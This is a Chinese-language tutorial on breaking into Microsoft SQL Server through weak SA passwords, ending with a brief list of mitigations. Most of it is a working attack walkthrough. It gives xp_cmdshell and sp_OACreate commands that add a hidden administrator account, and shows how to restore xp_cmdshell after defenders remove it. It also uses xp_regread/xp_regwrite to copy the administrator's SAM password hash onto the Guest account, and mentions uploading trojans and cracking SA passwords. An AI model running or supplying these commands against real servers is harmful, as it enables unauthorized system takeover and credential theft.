Microsoft SQLServer是一個(gè)c/s模式的強(qiáng)大的關(guān)系型數(shù)據(jù)庫(kù)管理系統(tǒng),應(yīng)用領(lǐng)域十分廣泛,從網(wǎng)站后臺(tái)數(shù)據(jù)庫(kù)到一些MIS(管理信息系統(tǒng))到處都可以看到它的身影。我們都知道,在網(wǎng)絡(luò)中Microsoft SQLServer的入侵最常見的就是利用SA弱口令入侵了,而核心內(nèi)容就是利用Microsoft SQLServer中的存儲(chǔ)過(guò)程獲得系統(tǒng)管理員權(quán)限,那到底什么是存儲(chǔ)過(guò)程?為什么利用它可以獲得系統(tǒng)管理員權(quán)限?
存儲(chǔ)過(guò)程是存儲(chǔ)在SQLServer中的預(yù)先寫好的SQL語(yǔ)句集合,它分為三類:系統(tǒng)提供的存儲(chǔ)過(guò)程,用戶定義的存儲(chǔ)過(guò)程和擴(kuò)展存儲(chǔ)過(guò)程。
系統(tǒng)提供的存儲(chǔ)過(guò)程是在安裝SQLServer時(shí)創(chuàng)建的存儲(chǔ)過(guò)程,名字以"sp_"開頭。
用戶定義的存儲(chǔ)過(guò)程是用SQLServer的使用者編寫的存儲(chǔ)過(guò)程。
擴(kuò)展存儲(chǔ)過(guò)程則是對(duì)動(dòng)態(tài)鏈接庫(kù)(DLL)函數(shù)的調(diào)用,主要是用于客戶端與服務(wù)器端或客戶端之間進(jìn)行通信的,與一般動(dòng)態(tài)鏈接庫(kù)不同的是它們直接運(yùn)行在SQLServer分配的內(nèi)存地址內(nèi),其中危險(xiǎn)性最高的擴(kuò)展存儲(chǔ)過(guò)程就是xp_cmdshell了,它可以執(zhí)行操作系統(tǒng)的任何指令。
SA是Microsoft SQLServer的管理員帳號(hào),擁有最高權(quán)限,它可以執(zhí)行擴(kuò)展存儲(chǔ)過(guò)程,并獲得返回值,比如執(zhí)行:
exec master..xp_cmdshell 'net user test 12345 /add'和exec master..xp_cmd shell 'net localgroup administrators test /add' |
這樣對(duì)方的系統(tǒng)就被添加了一個(gè)用戶名為test,密碼為12345,有管理員權(quán)限的用戶,現(xiàn)在你應(yīng)該明白為什么得到SA密碼,就可以得到系統(tǒng)的最高權(quán)限了吧。下面就詳細(xì)的講一下Microsoft SQLServer中利用SA弱口令的攻擊與防范。
通常當(dāng)我們掃描到一臺(tái)有Microsoft SQLServer SA弱口令的機(jī)器,都會(huì)用一些專門的攻擊工具,比如SqlExec,如圖x.1所示,SuperSQLEXEC,如圖x.2所示,以及SQL綜合利用工具,如圖x.3所示。
![]() |
| 圖x.1 SqlExec運(yùn)行界面 |
![]() |
| 圖x.2 SuperSQLEXEC運(yùn)行界面 |
|
| 圖x.3 SQL綜合利用工具 |
這三款軟件相對(duì)來(lái)講SQL綜合利用工具的功能更強(qiáng)些,因?yàn)樗梢岳寐┒瓷蟼魑募@樣我們就可以上傳木馬程序,然后執(zhí)行。
可是在實(shí)際操作中,情況并不象我們的那樣簡(jiǎn)單,我們上傳木馬程序后,一般都會(huì)被對(duì)方的殺毒軟件殺掉。而且經(jīng)過(guò)使用SQL事件探查器(可以通過(guò)安裝Microsoft SQLServer獲得)對(duì)SQL綜合利用工具提交的SQL語(yǔ)句抓取發(fā)現(xiàn),要使SQL綜合利用工具上傳功能成功完成,有個(gè)前提條件就是對(duì)方Microsoft SQLServer中的存儲(chǔ)過(guò)程xp_cmdshell沒(méi)有被刪除,如圖x.4所示,否則無(wú)法成功執(zhí)行,也就是說(shuō)就算我們的木馬可以不被查殺,無(wú)法執(zhí)行上傳功能也是沒(méi)有用的。
![]() |
| 圖x.4 SQL事件探查器抓取的 SQL綜合利用工具提交的SQL語(yǔ)句 |
刪除xp_cmdshell的語(yǔ)句為:exec sp_dropextendedproc 'xp_cmdshell',同樣我們也可以使用Microsoft SQLServer中的查詢分析器連接到對(duì)方的Microsoft SQLServer,來(lái)恢復(fù)xp_cmdshell,語(yǔ)句為:exec sp_addextendedproc 'xp_cmdshell', 'Xplog70.dll',如圖x.5所示。恢復(fù)后,我們就可以使用SQL綜合利用工具的上傳功能了,并可以執(zhí)行上傳的文件。
![]() |
| 圖x.5 查詢分析器的界面 |
但如果對(duì)方把Microsoft SQLServer中的xplog70.dll文件刪除或放到其他地方了, xp_cmdshell就無(wú)法執(zhí)行我們發(fā)出的命令了。
難道就沒(méi)有其他辦法了?當(dāng)然不是,在Microsoft SQLServer中有一系列與OLE相關(guān)的存儲(chǔ)過(guò)程,這一系列的存儲(chǔ)過(guò)程同Xp_cmdshell以及讀取注冊(cè)表系列的存儲(chǔ)過(guò)程一樣危險(xiǎn),但是其使用方法不象那些存儲(chǔ)過(guò)程在網(wǎng)絡(luò)上和書上介紹的那樣多,所以被刪除的可能性就小一些。這系列的存儲(chǔ)過(guò)程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop。
使用查詢分析器連接到對(duì)方的Microsoft SQLServer,在查詢分析器中執(zhí)行:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test 12345 /add'-- 再執(zhí)行:DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup administrators test /add '-- |
就可以在對(duì)方的系統(tǒng)添加一個(gè)用戶名為test,密碼為12345,有管理員權(quán)限的用戶。
如果對(duì)方把Xp_cmdshell、SP_OACREATE等可執(zhí)行系統(tǒng)命令的存儲(chǔ)過(guò)程,以及與它們相對(duì)應(yīng)的動(dòng)態(tài)連接庫(kù)文件刪除了,我們還有一個(gè)辦法,就是使用可以讀取和修改注冊(cè)表的存儲(chǔ)過(guò)程來(lái)克隆對(duì)方系統(tǒng)的管理員用戶。在查詢分析器里運(yùn)行下面的語(yǔ)句:
xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F', |
可以得到對(duì)方系統(tǒng)administrator的加密密碼,然后復(fù)制,如圖x.6所示。
![]() |
| 圖x.6 使用xp_regread得到加密密碼 |
然后再執(zhí)行:
xp_regwrite 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F5 ','F','reg_binary',0x(上面復(fù)制的那串字符), |
如果對(duì)方有遠(yuǎn)程終端服務(wù),那我們就可以用Guest用戶登陸,密碼為空,而且Guest的桌面與administrator的完全一樣。
有很多種方法得到Microsoft SQLServer SA的密碼,比如通過(guò)Sniffer到SA的加密密碼,然后通過(guò)密碼對(duì)照表(網(wǎng)上可以找到),得到SA的明文密碼,再比如通過(guò)SQL注入得到SA密碼或者使用sp_password(修改數(shù)據(jù)庫(kù)用戶密碼的存儲(chǔ)過(guò)程)修改得到SA密碼,還有可以掛密碼字典進(jìn)行暴力破解。一旦被SA密碼被入侵者得到,會(huì)對(duì)服務(wù)器的安全帶來(lái)很大隱患,所以我們整理了一個(gè)解決方案提供給大家:
1.在確定不需要的情況下,刪除xp_cmdshell,xp_dirtree,xp_regread,xp_regdeletekey,xp_regdeletevalue,xp_regwrite,sp_oacreate,sp_oadestroy,sp_oagetErrorInfo,sp_oagetProperty,sp_oamethod,sp_oasetProperty,sp_oastop這些存儲(chǔ)過(guò)程,移走相關(guān)的動(dòng)態(tài)連接庫(kù)文件,在需要的時(shí)候復(fù)制到原來(lái)的位置就可以了。
2.應(yīng)用程序和網(wǎng)站在與后臺(tái)的Microsoft SQLServer數(shù)據(jù)庫(kù)連接時(shí)不要用SA等高權(quán)限的用戶連接。
3.給SA等高權(quán)限的用戶起一個(gè)健壯的密碼。








